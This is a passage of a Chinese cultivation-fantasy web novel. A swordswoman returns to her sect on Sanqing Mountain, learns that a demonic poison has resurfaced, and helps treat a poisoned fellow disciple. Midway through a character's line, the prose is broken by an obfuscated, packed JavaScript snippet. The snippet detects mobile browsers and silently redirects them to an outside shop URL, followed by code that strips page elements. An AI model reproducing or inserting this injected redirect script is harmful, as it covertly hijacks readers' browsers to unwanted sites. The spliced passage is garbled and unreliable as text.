《她的成神路》 1. 近乡情怯 近乡情更怯。 何无盐不想上山，正在清水客栈二楼喝茶。 此处是三青山脚下。三青山春夏秋三季常绿，故而得名；待到冬日，留给世人的便是皑皑白雪之景。转暖之时，雪一点点化了，形成小股的溪流，流进三清河里。 三青山上有天一门，乃是正派第一教，其他门派莫不奉天一门为宗师。 此时正是梅雨季节，若是抬头望去，这绵延的山脉云雾缭绕，第一眼过去似乎高耸入云、与天相接，再仔细看看却又觉得似乎什么也看不清楚。 茶是本地的，清明后的新茶，说不上多好，图一个鲜。 楼下摆摊的小贩正在吆喝，“新鲜青枣，上好的青枣，只要四枚铜钱，走过路过不要错过……” 这一条街上的老面孔，何无盐大多都认识。只是他们都老了。 卖首饰的原是李姨，但她走了。何无盐去了她的灵堂，祭拜了一二。现在接手首饰摊的是她家那口子老刘头。 这样的风景不知看了多久。 “小二，结账。”眼见太阳要落山，再不下去搭话，老刘头都该收摊了。 出了楼，在山川聚集之地，雨后空气清新而湿润，但却又清新得过了头，透出一丝土腥和灰尘味。 何无盐站到摊铺面前：“刘叔。” 老刘头一抬头，脸上的笑容渐渐凝固，“何、何无盐？” 何无盐点点头，试图在这个男人身上寻找到以前李姨遗留下的痕迹。 而老刘头明显惊了，愣了半响没说话。因为面前的人，已经失踪了二十多年。 二十年过去，她只是长高了不少，褪去了一些青涩，看着正是二八年华。 他不许她进门，怕家里多张嘴吃饭，只是耐不住怀孕的李姨坚持，好说歹说，最终用一句“说不定能给咱招来一个儿子呢”，才把她留了下来。 不到一年，果然生下一个儿子。 “你……” “李姨走了，你和小李魏现今如何了？”李姨是这个家的主心骨，忙里又忙外。 至于老刘头和刘李魏，一老一少，都是懒鬼。 老的是癞蛤蟆，戳一下动一下，还时不时要发怒，作威作福一下，至于小的，只知道使唤人。尤其是使唤她。 老刘头一听这个，脸上的皱纹都耷拉下来，很是无可奈何地笑着：“当年你失踪之后，刘李魏那小子没多久也找不到了。” “找不到了？” “他闹着要去找你。有一天悄悄跑了，我和你李姨找了很久，不知道他去哪儿了。说不定是进了山，寻着了仙师，求仙问道去了。” 何无盐也沉默了。 印象中刘李魏那个小子，明明是一般人家，少爷做派却拿的足足的。一会儿吩咐她做这样事，一会儿吩咐她做那样事；吵着抢她的东西，到手了却又扔掉，还不准她捡回去，否则就大闹一番，搞得鸡犬不宁。 何无盐大部分时候拿他没办法，只能一边哄一边骗一边以利诱之。 这种小子竟然会跑出去找她？何无盐无法想象。难道，是她想错这小子了？ “算命的说过，我和你李姨两人注定命中无子。你走了，刘李魏也就跟着走了。哎，都是命吧。” “那你现在，一个人过？” “我养了条狗，有时间，跟狗说说话也不错。一人一狗，吃的也简单。每天出摊，能卖点首饰，这日子也够了。” 她最是惦念李姨。李姨会教她擀面皮，做馅料，包饺子。 没有这两爷仔，尤其是这还好赌的老头，日子还算是幸福。可李姨走了，李姨惦念的刘李魏也不知去向。 “李姨是怎么走的？” “病了。你和刘李魏一前一后失踪，她这心啊就病了。那段时间她整夜整夜地失眠，染了好几次风寒，身体自此就亏空了。” “那怎么不找大夫抓点药？” 老刘头长吁短叹，“家里这样子，你也看到了，哪有钱啊。”就是半句不提自己好赌的事。 “今年开春，流感颇为严重，断断续续地就是好不了。大夫一把脉，说是气血两空，人老了，不行了，就走了。”说完自己还咳了起来。 何无盐感觉他这话只能信一半，不过还是道，“你也流感了？” 老刘头忙摆手，“你李姨病了一个月，走之前，我忙前忙后，有点累着了，或许是染上了一些。不打紧，不打紧。” “不过你……”老刘头犹犹豫豫地，终于还是问了，“失踪后去了哪儿？” “上山了。” “上、上山？”他手颤颤巍巍地指向远处那座雄伟的山脉。 何无盐点点头。 “仙、仙人呐！”他此言一出，引得整条街的人纷纷侧目。“拜见何大仙人！” 只听他道，“何大仙人，当年种种是我不对、我不好，还请您大人有大量，宽恕我这个老头。” 何无盐看着老刘，心情颇为复杂。想了半天，还是摸向腰间，准备找一些治疗疾病的丹药出来。 李姨已走了，刘李魏若是进山，过了二十来年大概率也是化为了一抔黄土。 现在赠给他一些丹药，算是报了当年收留的恩情，自此再也不欠他什么，也还了一桩因果。 不过摸了半天，发现自己下山这么久，贵重丹药宝物早都用完了。 只有一颗给俗家弟子延年益寿用的大补丸，便递给了他。 “刘叔，当日之事，已经过去。你不必放在心上。此丹药服下有助寿元延长，请。” 眼见马上要日落西山，她必须上山了。 “刘叔，我先走一步。” “哎哎，好、好。”老刘头睁大了双眼。 何无盐捻上手诀，转身上剑，出了小镇，朝着与天相接的三青山直奔而去。 不一会儿就看到高耸入云的“天一门”，山门上的字据说是祖师爷题的，仙风道骨，颇有天人之姿。 从怀里掏出引路符，自印堂、胸口、双掌间各点一下，手间光芒大作。 引出朝云之力后，点燃符纸，就能看到“雅一门”以及随后紧接而来的天梯。 这天梯初时窄，百步九折萦岩峦，渐而宽，登堂入室，越往上越是显露出中庸雅正的气质。 只不过此时何无盐周遭雾极浓，风极大；云海翻腾，目不能视。何无盐正纳闷，一阵云扑过来，似乎将身陷其中的人吞没。 离开三青山时，未见过如此大的浓雾。 不知飞了多久，一声“大师姐！”犹如魔音袭耳。何无盐对这声音再熟悉不过了，是何无奇。 当年一见到她就不知情地胡乱叫她“大师姐”，搞得她实在脑袋疼。 但这小子人缘好，后来的师弟们都跟着他这样称呼，何无盐就没招，只能认了。 “大师姐！你真的回来了！我还以为再也见不到你了！”何无奇冲到她面前，就差没给她一个熊抱。 一边说着，何无奇一边把怀里的东西递给她，“诺，收好了。” “这是什么？”何无盐捻手诀收了剑，接了过去，却没看，直接收进怀里。 何无奇又贼眉鼠眼地往何无盐面上凑，“大师姐，这次回来有没有什么东西是带给我的？” “没给你带东西，下次吧，这次回来的匆忙。” 何无奇略微有些不满。“你好不容易出去一次，怎么都没给我带东西，亏我天天心心念念地想着你。” 这小子，真是没眼看，说些肉麻什么话。 何无盐一边嫌弃，一边眼睛却湿了。原来自己竟然还是有人惦记的。 赶紧别过脸，向着大厅走去。 “算了，你能回来就不错了。而且呀，你回来的正是时候，师父和师叔们都在大厅里呢！” 何无盐道：“怎么了，发生了什么事？”何无奇说：“还不是魔教妖物重现人间，闹的大家都不得安宁啊！你现在去，正好给师父一个惊喜！” 雅一门按照礼制修建道场，殿宇左右对称，虽不大，也甚有气势。一进殿内，何无盐就发现气氛格外沉重。 三青山上，原有天一门，百年前一场大战后，一分为三，为雅一、清一、太一。 此刻齐聚一堂，正魔大战后从未有过。 何不山身为雅一门掌门，坐在上座，正在听弟子汇报下山遇魔教之事。 三门之中，太一向来避世，清一各师叔师伯平时也只想琢磨练功，个个不管事，更别说掌门人之位这个巨大的烂摊子。所以隐隐之间，以雅一门何不山为首。 汇报之人正是清一门的大师兄赵无邪。他正站在大厅的中间，见她进来，便向她微微一笑。 何无盐也看着他，几乎不可察觉地轻点了点头，脚上却步步生风，三步并作两步走上前去，与赵无邪并排而立，两手一抱，道：“师父，徒儿回来了。” 良久，何不山微微眯起眼，看她神采自若，步履轻盈，神情四分思索、六分诧异，捋了两下胡子，开口道：“嗯，这一趟下山收获如何？” “徒儿此次下山一年，自觉对人间情之一事又多了几分体悟。过去徒儿只知修炼，一心想早日修得功德圆满，再容不下别的，但事倍功半，总是不能突破第四重关隘，想来是错在不知‘情’上。” 何不山又捋了两下胡子，似若有所思。 还没开口，他旁边的龙师祖却说话了：“不山，你这小徒弟倒是挺有点意思，以情入道，不拘一格，倒像我太一门的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482313|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不如这徒弟你给我吧，省得给你教坏了。” 龙师祖平日里神龙见首不见尾，此时出现在这里，只能说明局势属实有些不妙。 不过别的师叔师伯脸色铁青，他却正在神情怡然的品茶。不愧是在百年前大战中唯一幸存下来的前辈，见过世面就是淡定。 何不山捻着胡子，微微一笑，道：“龙师叔，晚辈的徒弟晚辈心里有数，不劳您费心了。”龙 师祖又喝了一口茶，“哎呀，你们这些个世道纷争，我这把老骨头是一点兴趣都没有。” 说着便站起身，走到何无盐面前，“小徒孙，你要是不想跟何不山这小子混了，来我太一门可好？” 何无盐正身道：“多谢师祖好意。但师父对徒孙有再造之恩，多年来正是有师父的悉心教诲，徒孙才能有今天，万万不敢背信弃义，另投他门。” 龙师祖捋了捋胡子：“呵，咱们本就是一家，什么另投他门，简直是胡说八道。得，老迂腐和小古板。也罢，也罢。小徒孙，以后你若愿意，可来缥缈峰上来寻我。”说着便向着大厅门口走去。 被推选为清一掌门人的林书心大惊失色，唤道：“龙师伯，此等大事必得您老人家……”却已经不见人影，“这，这……哎！” 她重重地叹了一口气，满脸忧愁地坐下。 何不山又捋了捋胡子，清理一下嗓子，道：“无邪，你继续说。” 赵无邪正色道：“是，师伯。” 他此次和安在之下山历练，听闻西南惊现血色禁果，本想前去查看，却在桐城发现有魔物作祟。 他们便来到桐城，想抓捕此物。没想到此物似有心智，害安在之因此失了二十年的修为。 好不容易抓到了，放入了百宝袋，此物却把百宝袋腐蚀了，还附身于安在之。 安在之中毒后，全身呈现青色，时而沉睡，数日不醒，醒时呈癫狂之状，狂咬狂吠，旁人不得近身。 目前他被关押在自己房内。已试过很多种法门，但效果甚微。如此种种性状，颇似中了当年的魔教圣物青藜藤之毒。 何不山捋了两下胡子，道：“不错，确实很像青藜藤。要是真如无邪所说，魔教圣物血色禁果和青藜藤相继现世，怕是离魔教卷土重来那一日不远了。” “那又如何？我们难道还怕了他不成？” 一师叔摆了摆手：“此言差矣。本来我等第一大派也不用畏惧魔教这等宵小之辈，只不过百余年前世道大变，正邪相争，天一门先辈高人于安岭一战中尽数折损。值此教门青黄不接之际，幸有三位门人各自悟得一义，天一门遂一分为三，雅一、清一、太一，这才留得一丝火种。如今我门传承中断，魔教妖人却是不好应对。” 另一师伯道：“这有何难？百年前一场大战，魔教中的高手也折损不少，若是集合天下正派的力量，到关键时刻，也未尝不能与之一战。” 场上鸦雀无声。魔教虽然当年也是元气大伤，但与天一门断绝传承却完全不是一回事。 如今百来年过去了，魔教重整旗鼓正待卷土重来，天一门却一分为三。能维系至今，全靠三青山这一风水宝地、千年来积累的声望以及当年先人以命留下的恩情。就算百余年来各门都在努力经营，但实力究竟如何、能否与魔教抗衡？众人一时心有戚戚然，都不敢搭话。 片刻，林书心打破了这个沉默：“师兄，血色禁果和青藜藤向来是同时出现的，现在一个在桐城，一个却在西南一隅，两地相隔甚远，甚为蹊跷。也许事情还有转机？” 两门的师叔师伯们就此事你一句我一嘴的争论起来。 “师妹说的对，当年我与先师浴血奋战之际，先师也提过此事。那血色禁果本是青藜藤上结的果子，离藤不需半刻即灰飞烟灭。现今两物之中却是血色禁果先现世，再有青藜藤。也许是魔教妖人的计划中间出了差错也未可知”。 “但无邪也未亲眼见到血色禁果，只是道听途说罢了，做不得数。” “若是魔教妖人得了分离两物以增强各自的功效之法呢？” “此言差矣，赵师兄，魔教这两物到底是何种关系你我都不知，切莫涨他人志气灭自己威风。” 何不山搓了搓胡子，摆了摆手，道：“此事到底如何需进一步查明，何不去，林书心，你们各自带三名弟子，前往桐城和西南查探消息。” “不去，本门之中除了我，就数你修行时间最长、修为最高，一定要探得血色禁果消息的虚实；书心，无邪与青藜藤打过交道，此行就带无邪前去吧，至于其余人选你可自行定夺。若有任何消息，即刻来报。切记，不可拿自己和本门弟子的性命冒险。 “是，师兄。” 说完，众人即离去。 2. 初次见面 师父并没有叫到自己，何无盐心下不免有几分黯淡；又听到赵无邪要去，似更有几分怅然。 抬眼一看，赵无邪还没有走。 何无盐打趣他道：“赵师兄，你才回来又要走了，不得片刻休息啊。” 赵无邪嘴角含笑，仿佛冬日三青山上的雪在旭日照耀下刚刚化开了一点： “无事，我已经习惯了。倒是你何师妹，这次似乎很有所得，与以往不同了。” 何无盐回想这山下一年的时光，道：“确是有所得，想来以前是我诸智不开，实在难以教诲，感谢赵师兄时常提点我一二，让我在同门当中不至于太过丢人。” 赵无邪道：“师妹说的严重了。师妹少年天才，我们只是互相切磋罢了。” 两人说着便向门口走去，看见月光洒了一地。 何无盐慢他半步，才敢看他一身白衣。在月光的照耀下，整个人似乎在浅浅地发着光。 “师兄，我前不久突破了朝云神功第四重。” 赵无邪眼中有几分惊喜，道：“怪不得今日见你，神采更胜往日几分。想来其中过程颇为不易。” 顺着赵无邪这么说，何无盐正想分享下山时的一些经历，可还什么都没想起，就觉得有些头疼。 “雅一门历来是要过了这一关，才是真正的入门弟子。听说连何师伯当年也花了不少功夫，磨练了很久。师妹你能突破这一关，实在是可喜可贺。” 赵无邪又说起雅一的入门关。这番话也不假，这一关自然是极难的。 雅一门的功法修炼之初极为艰难，正如登天梯一般，初时极窄极险极难，需要的时间和精力都不是一般人能承受的。 试想，一个人若是花上一辈子才知道自己与道没有机缘，而这样的可能性又是极大的，那该如何自处？ 是以收弟子的门规之中便有一条，在山花上十年不能突破这一关，就是机缘不够，只能做俗家弟子，修道无望了。 届时可自行选择下山与否。 她求道心切，长年在息语林中修炼，近乎废寝忘食。 息语林在后山，是一片竹林，顾名思义，在林中修炼便不可言语，为的便是能一心一意。 山上一日，人间两日；而林中时间流逝比山上更为缓慢，不过具体如何，却是全靠个人领悟和机缘。 若是有所领悟，进展自然是快上许多；若是领悟不到，息语林也只是一片普通的竹林罢了。 她在林中长时间修炼，十年大限将近，这一关却迟迟不能突破，依照门规，才不得不下山去游历一番，寻找新的机缘。 只是师父少年天才，她如何能与之相比？ 想来当年她刚上山之时，不论学什么都很快，其他师叔都夸她未来可期，有望继承大统。 谁知道在山上也有些年头了，大家都在进步，有些师弟都已经迈过了这个门槛，只有她还是止步不前。 这番下山若是没有突破，依照何不山那般守规矩的性子，这朝云峰，她也是回不来了。 “你若是有时间，不知明日可否来青凌峰上，师兄弟们都想见识见识朝云神功第四重是怎样的境界。无云也在，想来你们两个能有好多话可说。” 这说的是宁无云，与赵无邪都是清一门下，师从掌门林书心。 赵无邪侧过脸看着她。此时月光正正好斜打，眉飞入鬓，长目高鼻，面若白玉。 何无盐看着他，一瞬间有一点走神。 “她近来可好？”何无盐问。 朝云峰上只有何无盐一个女弟子。 初上山时何无盐只有八岁，也不觉得有什么，但随着年岁渐长，雅一门规森严，讲究论字排辈，她既是师姐又是女孩儿，便很难和大家打成一片。 这漫长的时间便都花在修行上了。 幸亏没过多久，何无盐初露锋芒，认识了宁无云，日子不至于太过寂寞。 后来师姐就不时带着赵无邪借切磋为由到朝云峰上来找她，有时带点吃的，有时跟她讲清一门的八卦，也是修炼之余唯一的乐趣了。 甚至还是宁师姐跟她说来了月事应当如何处理、期间饮食上应当注意些什么。 “我也是才回来，今日还没来得及去看她。”说起宁无云，赵无邪忍不住笑，“她给我来信，说最近迷上新的东西了。” “哦？”何无盐一挑眉，“师姐如此痴迷练剑，每次有点进展就要到处找人比试，三日一小比，五日一大比的，今日竟然是转了性了？” “你猜猜看。” “嗯，林师叔擅长器具，师姐又是林师叔的内门弟子，由林师叔亲自教导，难道师姐是喜欢上炼器了？” “不是。” 何无盐想了一想，“那就是丹药。有一次你们来朝云峰上找我，师姐给了一大瓶丹药。后来被何无奇这小子拿去，门内没几天出现了种种怪象。跟师姐了解之后，我才知道那瓶丹药里有五味鲜，服下后五日内尝不出味道；鸡鸣丸，服下后打鸣三日；嘤嘤丹，大概会有三个时辰失语，只能像婴儿一样发出‘嘤嘤’的声音……” 赵无邪爽朗地笑起来，“那都是其他师伯门下弟子练失败了的丹药。无云总说你太闷了，一天到晚就想着修行修行的，小小年纪还不苟言笑，她实在是看不下去，带来给你玩玩。” 听到这笑声，何无盐心突突地跳。 她自然是知道的。 “那师姐总不会去学铸剑了吧？她以前也常说想要一把顶顶好的佩剑，这难道是忍不住要自己动手铸一柄了？” 赵无邪道，“也不是。” “嗯，”何无盐想了半天，却再没有头绪了，“师兄，别卖关子了，你快说。” “她开始研究阵法了。” “阵法？怎么会突然对这个感兴趣？” 赵无邪笑着说，“兴许是门内阵法颇多，又激起了她的好胜心。她说感觉各式阵法内孕育天地之理、自然之道，妙不可言，非要一一掌握不可。” 想起宁无云的好胜心，何无盐也是摇了摇头。“既然如此，明日，我就去会她一会。” 两人说完了话，何无盐回到屋内。屋内陈设还是她走时的模样，只是落了些灰。 她下山之前，觉得也许再也回不来，重要的东西，能带走的带走，不能带走的，就好好地收了起来放进了柜子。不重要的就全扔了。 现在屋内，干干净净，空空荡荡。 打开柜子，里面被褥还在，只是有一股淡淡的灰味。 “大师姐！” 何无奇突然出现。 “你怎么来了？” “你刚回来，收拾东西肯定要人帮忙吧？我最近找清一门的师弟学了除尘术，正想要练练手呢！” 清一门还是那么喜欢搞这些乱七八糟的。在何无盐看来，他们说不定就是想研究这些玩意儿的，然后美曰其名：研究失败的副产品。 何无奇说着就上手了。见他手捏口诀，白光忽大忽小。 “你行不行啊？”一时半刻过去了，还没有动静。 “大师姐，你等等！”然后嘴里发出一阵怪叫：“噢噢噢哦哦！快！打个响指！” 啪地一声，屋内焕然一新。 “怎么样，有用吧！”何无奇十分骄傲。 “谢谢你。” 何无盐很认真地盯着他。 “大师姐，跟我说这话，不是见外了吗！” “我以为我回不来了，所以从没想过要给你带礼物。” “嗨，这事，不值一提、不值一提。”他连连摆手，假装在挠头。 “下次一定。” “明天你有什么打算没有？你走了许久，山上有一些变化，我带你瞧瞧。” “明日我要上青凌峰。” 何无奇又道，“那我明日再来找你！”人就溜走了。 明天她不在，来做什么？这小子，奇奇怪怪。 何无盐起了个大早就准备去青凌峰，没想到正好撞见何无奇。 “大师姐！你去哪儿呀？”何无盐立刻头疼起来，“青凌峰。” “正好我也要去青凌峰，一起呀！”无可奈何，何无盐找不出借口反对，只能随他了。 初时雾气不大，但慢慢地却迷了眼。 青凌峰与朝云峰不同。 朝云峰重楼殿宇，青凌峰却是师叔师伯各自开辟洞府，修行是各练各的。若是需要互相切磋交流就会到龙吟顶去。 平日里，这一路过去山峦起伏，是绿的远近高低各不同。 若是春季，在遒劲的墨绿中总是要点上一两笔翠色，显出盎然生意；若是秋季，森林绿、苔藓绿、草地绿、灰湖绿……悉数登场，争抢阳光，也争抢地盘。 但今日，这雾色却越来越重，能跟紧引路符已是不易，山间这一番风景更是被浓雾遮挡。 眼前，什么也看不清楚。 到了龙吟顶，正好是宁无云在比试。赵无邪在一旁看着，神情专注。 只见宁无云身着黄衫，正是清一门的道服。 她身无长物，对面男子着一身黑，手中利剑闪烁着寒光。两人相斗已久，僵持不下。 只见宁无云凝神聚气，使出一招水落石出，却是土阵，狂沙卷起，地陷山崩。 男子身处沙暴中心，身法极快，以长剑画符，大喝一声，“破！”，即向宁无云冲去。 宁无云见状再催法阵，以阻挡男子的攻势，没想到一道光划过，长剑已然搭上了宁无云的脖子。 “师姐，承让了。”半晌，男子一抱拳，行了一礼。 再一细看，两人都是满头大汗，神情肃然，不过男子衣衫划破好几处，脸上也有几道血痕。 宁无云看了他一眼，回了一礼，“受教。”转身便下了台。周围人初时 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此时赵无邪站了出来：“今日切磋到此结束吧。星中，你的紫薇剑法已修炼到第五层，回去若是勤加修炼，假以时日，想来修到第十层不是问题。” 人群显然炸了锅，“这么短的时间就修到了第五层？” “这速度，比大师兄也不遑多让啊。” “要真给他修到第十层，岂不是也能胜过大师兄了？” “他不是无字辈的，没有师长亲手教导，竟然也能有如此修为？” …… 李星中在一片议论声之中，却似乎什么都没听到，行了一个揖礼：“是，大师兄。”便转身和几个人走了。 人群议论了不一会儿也渐渐散去了，只剩何无盐跟何无奇两人在原地。 赵无邪和宁无云向他们走过来：“无盐！” “师姐！你刚刚没受伤吧？”何无盐问。 “没事！无盐，你回来了？我一直很担心你，能回来就好！” 赵无邪在旁边看着两人，笑道：“你以为她为什么能回来？” “难道！”宁无云眼里闪过一分惊喜，“你突破了朝云神功了？恭喜你无盐！” “大师姐！你怎么都没有跟我说？”何无奇在旁边又嚷嚷开了。 何无盐给了他一个白眼。 “现在你不是知道了；再说了，你也没问。” “无云，我俩过过手怎么样，你们门规太严，平时都不准弟子私下比武，这朝云神功第四重，我一直没有见识的机会。”宁无云十分期待。 赵无邪闻言轻轻一笑，“真是个武痴。” 何无盐自信满满，“师姐，以前我总是输多赢少，这次肯定要扳回一局。” “大师姐！快告诉我要过这一关到底有什么诀窍？我最近刚刚修炼到第四重，还没有摸到门道呢。”何无奇又嚷嚷开了。 “无奇，你练功太偷懒了。你说你一个做师兄的，听说最近又有师弟过了这关，你怎么才修炼到这里？” 宁无云开始数落他，“真是一点不像雅一门的人。我看你啊，应该每日在息语林先上待四个时辰再说。” “大师姐在息语林待了那么多时日，还不是下山才觅得了机缘，这说明山上没啥好的，要练也得下山练。再说那鬼地方，进去了就不能说话，真是憋死我了，待上一个时辰我都受不了，谁爱去谁去，反正我不乐意去。” 何无盐十分头疼这小子，准备转移话题，“无邪师兄，林师叔准备什么时候动身？” “动身？动什么身？”何无奇又插嘴，“林师叔要去哪儿？” “这几日师父正在交代门里的事情，也就是这几天的事了。无盐，你或许也得提前准备一下，清一门女弟子中属你实力最强，师父很有可能会带你前去桐城，你俩好有个照应。” 何无奇不解，“桐城？去桐城做什么？” “此行要去探查魔教圣物青藜藤一事，局势不甚明朗，不知道会有什么危险，”赵无邪有些担心，“我也会一同前去，但万事还是小心为上。” “青藜藤？！”不知此事的两人一脸震惊，“这玩意儿一百年前不就灭绝了吗？” “最近在桐城又重现人间，人间怕是又要有一番动荡。我门此次下山，安在之师弟中了青藜藤毒，情况不是很好，最近中毒的迹象是越来越深了。” “在之中了青藜藤毒？”宁无云有些难以置信。“不错。”赵无邪点点头，“已有半月了。” “那这么说，青藜藤现世是真的了？” “我已将此事汇报了何师伯，确是青藜藤毒。”一时之间，大家有点不知说什么。 “无邪师兄，我想去看看在之师弟。”何无盐提议。“我也想去。”宁无云看向赵无邪道。于是一行四人去往安在之的房间。 3. 毒发 到了安在之的房间门口，却发现门口的禁制被撤下了。“许是门中弟子来查房。”赵无邪道。还未进房，就听到声响：“星中，你什么时候这么厉害了？” “就是，能跟宁师姐打的有来有回的，你小子藏了一手啊。” “哎，听说当时宁师姐输给大师兄，特别不服气，天天找他比试。以后啊，你小子没好日子过了。” “别混说。同门切磋，宁师姐用阵法，但又不够精专，这才被我钻空子。不过，比试自然是要全力以赴的，这是对对手的尊敬。输便是输，赢便是赢。以后大师姐若要找我比试，我仍然是这句话。” 四人对视一眼，赵无邪带头进了门。李星中和几名清一门弟子正在床边。“星中，你来看在之？”赵无邪道。 “师兄，宁师姐，”李星中点点头，一脸坦荡，他旁边的几名弟子倒是表情讪讪的，也跟着行礼。“也是，你与在之平日里关系就甚好。” “在之师兄如何了？”何无盐抢先问道。 安在之被结结实实捆上，一动不动，双目紧闭，浑身发青，看着十分吓人；最重要的一点是，他似乎没有呼吸。 “前几日发起狂来，被师父用金刚索捆上了，而后又昏迷不醒，已有一日多。今天来看，身上的青色又更深了一些。”一个弟子说到。 “看着消瘦了很多。”何无盐说。岂止是消瘦，青色的脸已然透出一股死色。 “是，师姐。安师兄体内有两股气息一直在缠斗，连日来滴水不进，身心消耗甚多。” “两股气息？”“是，一股清正一股寒邪，应该是师兄在抵抗青藜藤毒对意志的侵蚀，若是这股清正之气完全消失，我们恐怕就无力回天了……” 众人都很吃惊。“怎么会这样？”何无盐道。“林师叔知道这件事吗？” “知道，但师父试过种种法子，都无法清理青藜藤毒。此物甚为狡猾，会隐匿自身的踪迹，而且没有真正的制衡之法。”赵无邪说。 “只能安排弟子以本门心法暂时压制藤毒，至于能撑多久，实在难以估计。”大家面面相觑，房间内的气氛十分沉重。 突然，何无盐似乎听见“啪”的一声，同时袭来一阵风。何无盐即刻举剑格挡，转头一看，却是安在之长着一张大口，面容狰狞，就要向她咬来。 “小心！” “无盐！” “大师姐！” 何无盐心下一惊，一掌拍在他胸口。 一招既中，不敢大意，何无盐连击他周身经脉关窍，趁机摸上了他的脉。脉象显示体内清净之气激荡，正与体内的浊气缠斗。 何无盐当机立断，倒挂金钩，自天灵穴处与这股清净之气相交。甫一接触这两股气息，她的胸口、丹田随即翻起一阵异样的感觉，不过暗自强压了下去。 此时的安在之面容十分痛苦，却没有挣脱。 一旁，宁无云正想上前，没想到李星中更快，使出一手八卦掌，自丹田处稳住安在之，宁无云即刻按住风府、百会两穴。三人一接上手，都有一股微弱的麻感通往丹田。这样维持了一炷香的时间。 其他弟子是看傻了眼。突然何无奇叫到：“快看！快看！”众人再仔细一看，安在之的脸似乎没有刚才那么青了。三人对视一眼，达成默契，同时撤了手。 下来的何无盐是大汗淋漓，身形一晃，险些摔倒，幸而何无奇在旁扶了她一下。再看宁无云和李星中，两人本来才打了一架，眼下又消耗不少，脸色都十分苍白。 “无盐，怎么样？”赵无邪上前一步扶助宁无云，十分关切地问道。“无碍。安师兄怎么样了？” “他的毒似乎解了一些。”赵无邪摸了一下安在之的脉，又抓起旁边的金刚锁，“这毒物甚为狡猾，腐蚀了金刚索，是以才有机会偷袭。无盐，你怎么样？” 何无盐按下不舒服，摇头道：“师兄，我无事，只不过这魔物太厉害，费了不少心神。” “无事就好。倒也奇了，之前师父出手也只能是压制青藜藤毒，怎么今日……星中，你使得这一招，似乎并非清一门内的功夫。”此时，在场所有人都看向了李星中。 李星中这会儿面色似覆盖上了一层薄霜，一双眼睛似冬日里寂寥微茫的几颗星辰。半晌，他微微一笑，道：“我想以清一门的功法，只能起到压制之效。” 随即看向何无盐，“这位想必是雅一门的何无盐大师姐吧？大师姐刚刚使出朝云神功，在之师兄便安静了许多，星中就此猜想若是集雅一、清一、太一三门之力，或许能对藤毒生效。” “是了是了，这青藜藤毒虽然厉害，但是既然当年先辈们能与魔头打的旗鼓相当，想来必然有应对之道。现在看来，若真是集雅一、清一、太一三门功法为一体，融会贯通，说不定就能有解毒之法，也许那魔头来了也能叫他们有去无回！”何无奇开心地拍手道。 宁无云道：“这么说是不错，但这么多年来我天一门一直保持三分的状态，并不是师父和师叔师伯们没有尝试过，而是三门的功法之间似乎有所排斥。” “排斥？” “不错，”赵无邪道，“三十年前师父与何师伯、太一门的师伯就试过，最后以失败而告终。星中……” 正想问他到底使得是什么内功心法，不想此时李星中身形一晃，似要倒下。随他同来的弟子赶紧扶住他：“星中，你怎么样？”李星中的脸似乎已被风雪覆盖。 “无碍，我需回房调息，师兄、师姐，我先行一步。”说着看了何无盐一眼，被搀扶着离去了。 四人只能目送李星中离开。 何无盐先开口道：“方才我们三人联手为在之师弟治疗便压制了青藤毒，此事甚为蹊跷。我得将此事禀报给师父，请师父召集其他掌门人共同商议。 赵无邪点点头，“若三门联合，真能对抗魔教圣物，这是一个天大的好消息。” “只是星中师弟的事……”何无盐有些犹豫。 “其实今日我与他比试之时就感觉到他的气息似有凝滞，而且一招一式中有一些变化很奇怪，我引诱他出招，但是他的应对出乎意料，我一不小心便落了下风。现在仔细想来，也许那并不是紫薇剑法。”宁无云道。“从他方才为在之治疗来看，或许使的是八卦掌。” “不错。就我来看，他只是借用了紫薇剑法的招式。”何无盐道。 赵无邪想了想，摇摇头，“八卦掌刚柔并济，对上敌人时讲究克敌制胜，留有三分余地，并不像他那般锐不可当，剑意逼人，一味刚猛。” “听说他入门就与常人不同，或许入门前有一些其他的机缘？”何无盐道。 何无奇嚷嚷开了：“这小子搞不好是个贼！偷偷学了太一的功法，然后再趁没人跑到龙吟顶上去。怪不得他上龙吟顶没一个人发现！本来嘛，太一的人都是神出鬼没的，我到现在连脸都没认齐全呢。” “可是他又是怎样偷学到八卦掌的呢？青凌峰上无门无路，连你我也找不到，何况是他呢？” 赵无邪沉思了一会儿：“其实我们同出一源，本都是天一门的人，三派的功法也没有不能互传的规定，只是星中这次出手实在出乎意料。无盐，此事不妨如实禀报何师伯，想来师伯自有定夺。” 何无盐点点头。 -----------------------我是分隔线----------------------------------------------------- 何无盐心跳的极快。她好像见到了镇上的李姨，但是越看越觉得又不太像……这么想着，李姨的脸却慢慢变成了瓜子脸，和蔼的圆眼似乎变成了长长的凤眼，有几分不怒自威的感觉……这张脸她觉得十分熟悉，却又看不清楚。 但有一点很清楚。 对这个人，她有四分害怕，三分怜悯，三分敬意。 这是为什么呢？ 她小心翼翼地走上前去。每靠近一分，身体就跟着火辣辣得疼痛起来。 这时何无盐看见自己身上多了两道伤痕，一个淤青，一个在流血。 正是此人的手笔。 可是她身上有一股魔力，吸引着何无盐靠近。 “啊！！”这个人正在痛苦地大喊，“你这个奸人！不得好死！”一边说着，一边用自己的头撞着墙。 难道是疯了？ “前辈！”何无盐试图唤醒她。 正待走近些好仔细分辨的时候，何无盐突然意识到自己在梦里，从床上一下子坐了起来。 她感觉有些头疼。这是谁？ 此时夜深人静，所有的感觉都格外灵敏。 何无盐丹田处有几分灼烧感，在不断吸收全身的力量，但若试图反向运转周身，又并无大碍。 自她修行以来还未曾遇到过这种事。 她想起白日里与宁无云、李星中三人为在之师弟治疗时冒出来的那种十分奇妙的感觉。 或许是与此有关。便披了衣服，起身去息语林修行。 今晚风大。 息语林之中有幽篁馆，不远处有一块磐石，何无盐常去那里练功。由于师门之中何无盐去的最勤，所以这里成为了何无盐的风水宝地，基本不会有人来，十分幽静。何无盐打起坐来。 